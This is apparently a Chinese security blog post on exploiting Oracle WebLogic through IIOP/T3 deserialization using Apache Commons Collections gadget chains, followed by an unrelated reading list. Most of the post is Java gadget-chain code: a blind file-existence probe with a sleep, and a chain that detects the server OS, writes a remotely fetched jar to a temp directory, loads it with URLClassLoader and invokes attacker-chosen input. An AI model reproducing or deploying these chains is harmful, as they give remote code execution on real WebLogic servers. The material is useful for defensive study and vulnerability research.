是否存在某些文件if (File.class.getConstructor(String.class).newInstance("/etc/passed").exists()){Thread.sleep(7000);}
改写成cc链
TransformerUtils.switchTransformer(PredicateUtils.asPredicate(new ChainedTransformer( new Transformer[] {new ConstantTransformer(File.class),new InstantiateTransformer(new Class[]{String.class},new Object[]{path}),new InvokerTransformer("exists", null, null)})),new ChainedTransformer( new Transformer[] {new ConstantTransformer(Thread.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"sleep", new Class[]{Long.TYPE}}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[] {7000L}})}),TransformerUtils.nopTransformer();)
weblogic iiop/T3回显主要问题有 目前只能用URLClassloader , 但是需要确定上传到weblogic服务器的位置 。而这里我们知道 , windows与linux的临时目录以及file协议访问上传文件的绝对路径肯定不一样 。如果只用invokerTransform的话 , 最简单的执行回显的方案如下
sequenceDiagram攻击者->>weblogic: 上传至Linux的临时目录/tmp/xxx.jar攻击者->>weblogic: 调用urlclassloader加载 , 安装实例攻击者->>weblogic:通过lookup查找实例 , 检测是否安装成功weblogic->>攻击者: 安装成功 , 结束weblogic->>攻击者: 安装失败 , 抛出异常攻击者->>weblogic: 上传至windows的临时目录 C:\Windows\Temp\xxx.jar攻击者->>weblogic: 调用urlclassloader加载 , 安装实例攻击者->>weblogic:通过lookup查找实例 , 检测是否安装成功weblogic->>攻击者: 安装成功 结束weblogic->>攻击者: 安装失败
攻击一次weblogic服务器 , 最多可能需要发送6次反序列化包 , 才能成功的给weblogic服务器安装实例 。这显然不符合我们精简代码的思想 。下面我们用正常思维的方式去执行一下攻击过程
if (os == 'win'){fileOutput(winTemp)}else{fileOutput(LinuxTemp)}if (os == 'win'){urlclassloader.load(winTemp)}else{urlclassloader.load(LinuxTemp)}
这里我们可以使用SwitchTransformer + Predicate + ChainedTransformer 组合去完成 。
- SwitchTransformer类似于if语句
- Predicate类似于条件语句
- ChainedTransformer 将所有的语句串起来执行
Transformer t = TransformerUtils.switchTransformer(PredicateUtils.asPredicate(getSysTypeTransformer()),new ChainedTransformer(new Transformer[]{new ConstantTransformer(FileOutputStream.class),new InstantiateTransformer(new Class[]{String.class, Boolean.TYPE},new Object[]{"C:\Windows\Temp\xxx.jar", false}),new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})}),TransformerUtils.nopTransformer());Transformer t1 = TransformerUtils.switchTransformer(PredicateUtils.asPredicate(getSysTypeTransformer()),new ChainedTransformer(new Transformer[]{new ConstantTransformer(URLClassLoader.class),new InstantiateTransformer(new Class[]{URL[].class},new Object[]{new URL[]{new URL("file:/C:\Windows\Temp\xxx.jar")}}),new InvokerTransformer("loadClass",new Class[]{String.class}, new Object[]{className}),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"test", new Class[]{String.class}}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{op}})}),TransformerUtils.nopTransformer()); // 这块自行改成linux的吧Transformer list = new ChainedTransformer(new Transformer[]{t,t1});private static ChainedTransformer getSysTypeTransformer() {return new ChainedTransformer(new Transformer[]{new ConstantTransformer(System.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[]{"os.name"}}),new InvokerTransformer("toString",new Class[]{},new Object[0]),new InvokerTransformer("toLowerCase",new Class[]{},new Object[0]),new InvokerTransformer("contains",new Class[]{CharSequence.class},new Object[]{"win"}),});}
推荐阅读
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 80后架构师教你学ApacheBeam,一个开源统一分布式数据处理编程库
- Apache Airflow的完整介绍
- Apache Ignite 内存速度级的分布式数据库
- IIS、Apache、Tomcat、Nginx、CDN,它们之间有何区别?
- 是什么使Apache Druid非常适合实时分析?
- 2019年最吸引攻击炮火的 Web 框架:WordPress 和 Apache Struts
- 10分钟带你逆袭Kafka!
- Windows系统配置apache+php+mysql环境图文教程
- Linux在同一个服务器上运行Apache、Nginx和HAProxy
- 国家信息安全漏洞共享平台发布Apache Tomcat漏洞安全公告